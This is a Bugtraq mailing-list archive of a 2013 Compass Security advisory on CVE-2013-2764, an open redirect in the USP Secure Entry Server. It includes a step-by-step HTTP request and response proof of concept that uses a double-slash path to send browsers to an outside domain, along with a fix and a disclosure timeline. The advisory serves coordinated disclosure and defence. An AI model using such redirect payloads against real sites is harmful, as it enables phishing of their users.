bugtraq - [CVE-2013-2764] Secure Entry Server

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Wed, 18 Dec 2013 09:24:12 +0100
From: "Alexandre Herzog" <alexandre.herzog@...c.ch>
To: <bugtraq@...urityfocus.com>
Subject: [CVE-2013-2764] Secure Entry Server - URL Redirection

#############################################################
#
# COMPASS SECURITY ADVISORY
# http://www.csnc.ch/en/downloads/advisories.html
#
#############################################################
#
# Product:  Secure Entry Server (SES)
# Vendor:   United Security Providers Ltd. 
# CSNC ID:  CSNC-2013-008
# CVD ID:   CVE-2013-2764
# Subject:  URL Redirection
# Risk:     High
# Effect:   Remotely exploitable
# Author:   Alexandre Herzog <alexandre.herzog@...c.ch>
# Date:     18.12.2013
#
#############################################################


Introduction:
-------------
The USP Secure Entry Server™ protects company networks and business 
transactions with internet access as a Web application firewall (WAF) 
and manages access to data and applications. 

The USP Secure Entry Server™ (SES) offers this protection by scanning 
data packages right down to the individual items of content, thus 
reliably safeguarding Web applications and all transactions carried out 
using them. The SES acts as an x-ray scanner for online transactions; it 
identifies data packages infected by viruses and only approves undamaged 
or cleaned data packages for use.[1] 

 
Technical Description
---------------------
By default, the USP Secure Entry Server is shipped with option 
HSP_AbsoluteRedirects set to off. The consequence is that after a 
successful cookie-check, the server replies with a relative instead of 
an absolute link. The server doesn't detect that relative URLs starting 
with double slash are in fact detected as a valid domain by browsers and 
not just a path on the actual server. 

1. Initial request
	GET //www.hacking-lab.com HTTP/1.1
	Host: [victim]
	User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: en-US,en;q=0.5
	Accept-Encoding: gzip, deflate
	Connection: keep-alive

2. Server redirect to the cookie check procedure
	HTTP/1.1 302 Found
	Date: Wed, 03 Apr 2013 09:23:56 GMT
	Server: server
	Location: /cookie-check?trg=[long token]
	Set-Cookie: SCDID_S=[session id] path=/; Secure; HttpOnly
	Content-Length: 290
	Content-Type: text/html; charset=iso-8859-1
	Keep-Alive: timeout=65, max=100
	Connection: Keep-Alive

	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
	<html><head>
	<title>302 Found</title>
	</head><body>
	<h1>Found</h1>
	<p>The document has moved <a href="/cookie-check?trg=[long token]">here</a>.</p>
	</body></html>

3. As instructed, the browser accesses the cookie check page, proving it 
support cookies: 
	GET /cookie-check?trg=[long token] HTTP/1.1
	Host: [victim]
	User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:19.0) Gecko/20100101 Firefox/19.0
	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: en-US,en;q=0.5
	Accept-Encoding: gzip, deflate
	Cookie: SCDID_S=[session id]
	Connection: keep-alive

4. SES gets the expected request, and redirects the client to the 
initially requested page, but without stripping the double-slashes and 
without forcing a fully qualified domain name for the redirection: 
	HTTP/1.1 302 Found
	Date: Wed, 03 Apr 2013 09:23:56 GMT
	Server: server
	Location: //www.hacking-lab.com
	Content-Length: 205
	Content-Type: text/html; charset=iso-8859-1
	Keep-Alive: timeout=65, max=100
	Connection: Keep-Alive

	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
	<html><head>
	<title>302 Found</title>
	</head><body>
	<h1>Found</h1>
	<p>The document has moved <a href="//www.hacking-lab.com">here</a>.</p>
	</body></html>

5. The browser doesn't interpret a redirection to //www.hacking-lab.com 
as being http(s)://[victim]//www.hacking-lab.com, but in fact as a 
redirection to http(s)://www.hacking-lab.com. This behavior is RFC 
conform and is well implemented in most current browsers[2]. The client 
gets therefore redirected to another website by the SES. 


Workaround / Fix:
-----------------
Upgrade to the latest available version of SES or ensure option 
HSP_AbsoluteRedirects is set to on (as it's by default in the appliance 
but not the software version), as this would insert the FQDN in the 
response of the server. 


Timeline:
---------
2013-12-18:     Coordinated public disclosure date (after 3 months grace period)
2013-09-18:     Release of fixed SES Appliance Version 4.7.0 and HSP Software Version 4.5.0 
2013-04-26:     Initial vendor response
2013-04-23:     Initial formal vendor notification based on advisory and CVE-ID
2013-04-07:     Assigned CVE-2013-2764
2013-04-03:     Discovery of the same issue but with a different customer 
2012-09-10:     Discussed with a representative of the vendor, which did not consider it as a major issue but customer related
2012-09-06:     Discovery by Alexandre Herzog


References:
-----------
[1] http://www.united-security-providers.com/en/it-security-solutions/protection-for-web-applications/
[2] http://stackoverflow.com/questions/6785442/browser-support-for-urls-beginning-with-double-slash

Download attachment "smime.p7s" of type "application/x-pkcs7-signature" (5234 bytes)